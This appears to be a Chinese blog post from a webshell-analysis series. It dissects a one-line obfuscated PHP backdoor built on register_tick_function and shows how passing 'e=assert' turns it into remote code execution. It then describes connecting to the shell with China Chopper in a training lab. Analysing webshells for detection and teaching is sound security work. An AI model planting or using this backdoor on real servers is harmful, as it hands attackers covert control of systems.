WebShell代码分析溯源(十一)

一、一句话变形马样本

SRE实战 互联网时代守护先锋,助力企业售后服务体系运筹帷幄!一键直达领取阿里云限量特价优惠。

<?php $e = $_REQUEST['e'];declare(ticks=1);register_tick_function ($e, $_REQUEST['GET']);?>

二、代码分析

1、调整代码格式

  WebShell代码分析溯源(十一) Safe 第1张

2、分析代码

2.1、首先使用REQUEST方法接收url中e参数传递的值, 然后执行declare函数和register_tick_function回调函数。没执行ticks=1行代码,就执行一次register_tick_function函数中的代码。

注: register_tick_function函数,这是每个tick上注册一个执行函数,必须要和declare流程控制机制合并使用。Tick是一个在declare代码段中解释器每执行n条低级语句就会发生的事件。n的值是在declare中的directive部分用ticks=n来指定的,在每个tick中出现的事件是由register_tick_function()来指定的。

参考: https://www.php.net/manual/zh/function.register-tick-function.php

2.2、register_tick_function可以看做一个回调函数,第二个参数,就是为该回调的函数传参用的,因此可以构造e=assert,此时就变成了assert($_REQUEST['GET'])。

三、漏洞环境搭建

1、这里使用在线学习平台墨者学院中的实验环境(WebShell代码分析溯源(第10题)),地址: https://www.mozhe.cn/bug/detail/b1gyYnp0MVRtVEpoWXV3TEtuMjZSZz09bW96aGUmozhe

2、代码环境,下载代码

  WebShell代码分析溯源(十一) Safe 第2张

3、分析(上面已经分析过了)

4、使用菜刀连接

  WebShell代码分析溯源(十一) Safe 第3张

5、执行一些命令

  WebShell代码分析溯源(十一) Safe 第4张

 

扫码关注我们
微信号:SRE实战
拒绝背锅 运筹帷幄